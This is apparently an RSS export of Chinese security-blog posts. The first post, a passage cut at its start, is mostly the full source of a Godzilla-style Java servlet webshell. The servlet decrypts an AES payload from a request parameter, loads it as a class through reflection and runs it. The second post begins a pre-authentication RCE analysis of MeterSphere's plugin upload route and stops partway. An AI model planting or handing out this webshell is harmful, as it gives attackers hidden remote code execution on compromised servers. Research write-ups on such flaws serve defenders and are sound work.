class="code-snippet__keyword">class</span> <span class="code-snippet__title">HelloServlet</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">HttpServlet</span> </span>{</span></code><code><span class="code-snippet_outer">    String xc = <span class="code-snippet__string">&#34;3c6e0b8a9c15224a&#34;</span>;</span></code><code><span class="code-snippet_outer">    String pass = <span class="code-snippet__string">&#34;pass&#34;</span>;</span></code><code><span class="code-snippet_outer">    String md5 = md5(pass + xc);</span></code><code><span class="code-snippet_outer">    Class payload;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> String <span class="code-snippet__title">md5</span><span class="code-snippet__params">(String s)</span> </span>{</span></code><code><span class="code-snippet_outer">        String ret = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            java.security.MessageDigest m;</span></code><code><span class="code-snippet_outer">            m = java.security.MessageDigest.getInstance(<span class="code-snippet__string">&#34;MD5&#34;</span>);</span></code><code><span class="code-snippet_outer">            m.update(s.getBytes(), <span class="code-snippet__number">0</span>, s.length());</span></code><code><span class="code-snippet_outer">            ret = <span class="code-snippet__keyword">new</span> java.math.BigInteger(<span class="code-snippet__number">1</span>, m.digest()).toString(<span class="code-snippet__number">16</span>).toUpperCase();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> ret;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> String <span class="code-snippet__title">base64Encode</span><span class="code-snippet__params">(<span class="code-snippet__keyword">byte</span>[] bs)</span> <span class="code-snippet__keyword">throws</span> Exception </span>{</span></code><code><span class="code-snippet_outer">        Class base64;</span></code><code><span class="code-snippet_outer">        String value = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            base64 = Class.forName(<span class="code-snippet__string">&#34;java.util.Base64&#34;</span>);</span></code><code><span class="code-snippet_outer">            Object Encoder = base64.getMethod(<span class="code-snippet__string">&#34;getEncoder&#34;</span>, <span class="code-snippet__keyword">null</span>).invoke(base64, <span class="code-snippet__keyword">null</span>);</span></code><code><span class="code-snippet_outer">            value = (String) Encoder.getClass().getMethod(<span class="code-snippet__string">&#34;encodeToString&#34;</span>, <span class="code-snippet__keyword">new</span> Class[]{<span class="code-snippet__keyword">byte</span>[].class}).invoke(Encoder, <span class="code-snippet__keyword">new</span> Object[]{bs});</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                base64 = Class.forName(<span class="code-snippet__string">&#34;sun.misc.BASE64Encoder&#34;</span>);</span></code><code><span class="code-snippet_outer">                Object Encoder = base64.newInstance();</span></code><code><span class="code-snippet_outer">                value = (String) Encoder.getClass().getMethod(<span class="code-snippet__string">&#34;encode&#34;</span>, <span class="code-snippet__keyword">new</span> Class[]{<span class="code-snippet__keyword">byte</span>[].class}).invoke(Encoder, <span class="code-snippet__keyword">new</span> Object[]{bs});</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (Exception e2) {</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> value;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">byte</span>[] base64Decode(String bs) <span class="code-snippet__keyword">throws</span> Exception {</span></code><code><span class="code-snippet_outer">        Class base64;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span>[] value = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            base64 = Class.forName(<span class="code-snippet__string">&#34;java.util.Base64&#34;</span>);</span></code><code><span class="code-snippet_outer">            Object decoder = base64.getMethod(<span class="code-snippet__string">&#34;getDecoder&#34;</span>, <span class="code-snippet__keyword">null</span>).invoke(base64, <span class="code-snippet__keyword">null</span>);</span></code><code><span class="code-snippet_outer">            value = (<span class="code-snippet__keyword">byte</span>[]) decoder.getClass().getMethod(<span class="code-snippet__string">&#34;decode&#34;</span>, <span class="code-snippet__keyword">new</span> Class[]{String.class}).invoke(decoder, <span class="code-snippet__keyword">new</span> Object[]{bs});</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                base64 = Class.forName(<span class="code-snippet__string">&#34;sun.misc.BASE64Decoder&#34;</span>);</span></code><code><span class="code-snippet_outer">                Object decoder = base64.newInstance();</span></code><code><span class="code-snippet_outer">                value = (<span class="code-snippet__keyword">byte</span>[]) decoder.getClass().getMethod(<span class="code-snippet__string">&#34;decodeBuffer&#34;</span>, <span class="code-snippet__keyword">new</span> Class[]{String.class}).invoke(decoder, <span class="code-snippet__keyword">new</span> Object[]{bs});</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (Exception e2) {</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> value;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">byte</span>[] x(<span class="code-snippet__keyword">byte</span>[] s, <span class="code-snippet__keyword">boolean</span> m) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance(<span class="code-snippet__string">&#34;AES&#34;</span>);</span></code><code><span class="code-snippet_outer">            c.init(m ? <span class="code-snippet__number">1</span> : <span class="code-snippet__number">2</span>, <span class="code-snippet__keyword">new</span> javax.crypto.spec.SecretKeySpec(xc.getBytes(), <span class="code-snippet__string">&#34;AES&#34;</span>));</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> c.doFinal(s);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Class <span class="code-snippet__title">defClass</span><span class="code-snippet__params">(<span class="code-snippet__keyword">byte</span>[] classBytes)</span> <span class="code-snippet__keyword">throws</span> Throwable </span>{</span></code><code><span class="code-snippet_outer">        URLClassLoader urlClassLoader = <span class="code-snippet__keyword">new</span> URLClassLoader(<span class="code-snippet__keyword">new</span> URL[<span class="code-snippet__number">0</span>], Thread.currentThread().getContextClassLoader());</span></code><code><span class="code-snippet_outer">        Method defMethod = ClassLoader.class.getDeclaredMethod(<span class="code-snippet__string">&#34;defineClass&#34;</span>, <span class="code-snippet__keyword">byte</span>[].class, <span class="code-snippet__keyword">int</span>.class, <span class="code-snippet__keyword">int</span>.class);</span></code><code><span class="code-snippet_outer">        defMethod.setAccessible(<span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> (Class) defMethod.invoke(urlClassLoader, classBytes, <span class="code-snippet__number">0</span>, classBytes.length);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">doPost</span><span class="code-snippet__params">(HttpServletRequest req, HttpServletResponse resp)</span> <span class="code-snippet__keyword">throws</span> ServletException, IOException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">byte</span>[] data = base64Decode(req.getParameter(pass));</span></code><code><span class="code-snippet_outer">            data = x(data, <span class="code-snippet__keyword">false</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (payload == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">                payload = defClass(data);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                java.io.ByteArrayOutputStream arrOut = <span class="code-snippet__keyword">new</span> java.io.ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">                Object f = payload.newInstance();</span></code><code><span class="code-snippet_outer">                f.equals(arrOut);</span></code><code><span class="code-snippet_outer">                f.equals(data);</span></code><code><span class="code-snippet_outer">                f.equals(req);</span></code><code><span class="code-snippet_outer">                resp.getWriter().write(md5.substring(<span class="code-snippet__number">0</span>, <span class="code-snippet__number">16</span>));</span></code><code><span class="code-snippet_outer">                f.toString();</span></code><code><span class="code-snippet_outer">                resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), <span class="code-snippet__keyword">true</span>)));</span></code><code><span class="code-snippet_outer">                resp.getWriter().write(md5.substring(<span class="code-snippet__number">16</span>));</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Throwable e) {</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">文末</h1><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">其实完整代码还是北辰发我的，我只是探究了一下其原因，这种pagecontext的问题还是得深入看工具的功能实现才能解决问题。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">另外自己在写冰蝎内存马的时候遇到了包装类的问题，而哥斯拉不存在这个问题。因为哥斯拉是通过参数传递的payload，而冰蝎是直接把字节码放在了body中。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="269" data-backw="553" data-ratio="0.4864376130198915" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=d2fc2f7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzSlrfKl1cnGicWqZBsZFr9ewYT40YOvJibZfSgGELARXgasB3luLtsYa7g%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;"><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">只能说哥斯拉yyds!</p><section><br/></section><p cid="n69" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.75rem;orphans: 4;margin-bottom: 1.25rem;color: rgb(17, 17, 17);font-size: 1rem;white-space: pre-wrap;text-align: center;"><span md-inline="code" spellcheck="false" style="font-size: 1rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">分享、点赞、</span>在<span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">看就是对我们的一种支持！</span></span></span></span></span></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages js_insertlocalimg wxw-img" data-ratio="0.36484375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d8806ef3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibp8YjH4BpZodsIJmZOG8Cc3sbuM3IMcxPurjryDzTA8WTHZTNIXvP1SUVvWh0PzSTxssDxmwydNrQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p>



<p><a href="2247486258">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0aee57ff&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486258%26idx%3D1%26sn%3Db874417f6b5f543b9cd4b828eae7a77c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 16 Apr 2022 11:39:00 +0800</pubDate>
    </item>
    <item>
      <title>MeterSphere PluginController Pre-auth RCE</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486235&amp;idx=1&amp;sn=6bf18328ddc2feb8f23fa1298e38d0d8</link>
      <description>请尊重原创创作来之不易就在我发这篇文章之时，我发现了意外情况作为公众号撰写者，请尊重原创创作来之不易。禁止在</description>
      <content:encoded><![CDATA[<p>
<span>ChaBug</span> <span>2022-01-13 11:10</span> <span style="display: inline-block;"></span>
</p>

<p>请尊重原创创作来之不易就在我发这篇文章之时，我发现了意外情况作为公众号撰写者，请尊重原创创作来之不易。禁止在</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=df7997d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibojV0ZDyCTR3Q31ruyicUmFwtQu17P7ibWSBlN3rLz5oN3pCyiaAK0wftu6NoZicqp680p4doib23r8cXw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);"><span style="font-size: 1.2em;">请尊重原创创作来之不易</span><br/></h1><p style="text-align: center;"><strong><span style="font-size: 16px;text-decoration: underline;">就在我发这篇文章之时，我发现了意外情况</span></strong></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7303523035230353" data-s="300,640" style="" data-type="png" data-w="738" src="https://wechat2rss.xlab.app/img-proxy/?k=1abf73a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibojV0ZDyCTR3Q31ruyicUmFwUIQqnOVZKIOGM6CjbKicTwgcmNDkraOXrMDuHdIjJTafIjzno2Jyaiag%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6308040770101925" data-s="300,640" style="" data-type="png" data-w="883" src="https://wechat2rss.xlab.app/img-proxy/?k=9693c758&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibojV0ZDyCTR3Q31ruyicUmFwUibjCv7ic0thejZLVCWN1jUjrpSu3As9bIibBVDa2D5YWvsIe4RnF9zVg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 1.5px;text-align: left;">作为公众号撰写者，请尊重原创创作来之不易。禁止在未经允许的情况下私自盗用他人文章进行发布并获取流量等其他收益，日后发布的文章发现未经允许盗用者</span><span style="font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 1.5px;text-align: left;color: rgb(255, 41, 65);">一律举报投诉</span><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 1.5px;text-align: left;">，谢谢。</span></p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">搭建<span style="font-size: 1.2em;">环境</span><br/></h1><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">wget <a href="https://github.com/metersphere/metersphere/releases/download/v1.16.3/metersphere-online-installer-v1.16.3.tar.gz" target="_blank">https://github.com/metersphere/metersphere/releases/download/v1.16.3/metersphere-online-installer-v1.16.3.tar.gz</a></span></code><code><span class="code-snippet_outer">tar zxvf metersphere-online-installer-v1.16.3.tar.gz</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">cd</span> metersphere-online-installer-v1.16.3/</span></code><code><span class="code-snippet_outer">MSVERSION=<span class="code-snippet__string">&#34;v1.16.3&#34;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">echo</span> <span class="code-snippet__variable">$MSVERSION</span></span></code><code><span class="code-snippet_outer">sed -i -e <span class="code-snippet__string">&#34;s#MS_IMAGE_TAG=.*#MS_IMAGE_TAG=<span class="code-snippet__variable">${MSVERSION}</span>#g&#34;</span> install.conf</span></code><code><span class="code-snippet_outer">sed -i -e <span class="code-snippet__string">&#34;s#MS_IMAGE_PREFIX=.*#MS_IMAGE_PREFIX=registry.cn-qingdao.aliyuncs.com\/metersphere#g&#34;</span> install.conf</span></code><code><span class="code-snippet_outer">/bin/bash install.sh</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">搭建完运行在<a href="http://172.16.16.129:8081/" target="_blank">http://172.16.16.129:8081/</a> docker中 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">msctl status</code>可以看到状态。</p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">分析漏洞</h1><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">根据diff <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><a href="https://github.com/metersphere/metersphere/compare/v1.16.3...v1.16.4" target="_blank">https://github.com/metersphere/metersphere/compare/v1.16.3...v1.16.4</a></code></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3029525032092426" data-s="300,640" style="text-align: center;letter-spacing: 0.1em;" data-type="png" data-w="779" src="https://wechat2rss.xlab.app/img-proxy/?k=bc8fe88b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibojV0ZDyCTR3Q31ruyicUmFwFfIjU09m0hqnQtPIk9Ma1Qqg2T5KYHVQiajI4y1IG0ibqYYgCZfW4D2Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><br/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">删除了<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">/plugin/**</code>路由的anon权限，也就是说原来访问<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">/plugin/</code>是不需要授权的。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">找到路由对应的controller <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">io.metersphere.controller.PluginController</code></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.59436913451512" data-s="300,640" style="" data-type="png" data-w="959" src="https://wechat2rss.xlab.app/img-proxy/?k=4ceb92e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibojV0ZDyCTR3Q31ruyicUmFwYZpNPanKCahddweTN6S3fFGS4LQyEBHBFgZ1MSaOzPLbneELC3sDicA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">主要关注两个函数 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">add</code> 和 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">customMethod</code></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">add函数中上传文件跟进到<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">io.metersphere.service.PluginService#editPlugin</code></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6271186440677966" data-s="300,640" style="" data-type="png" data-w="767" 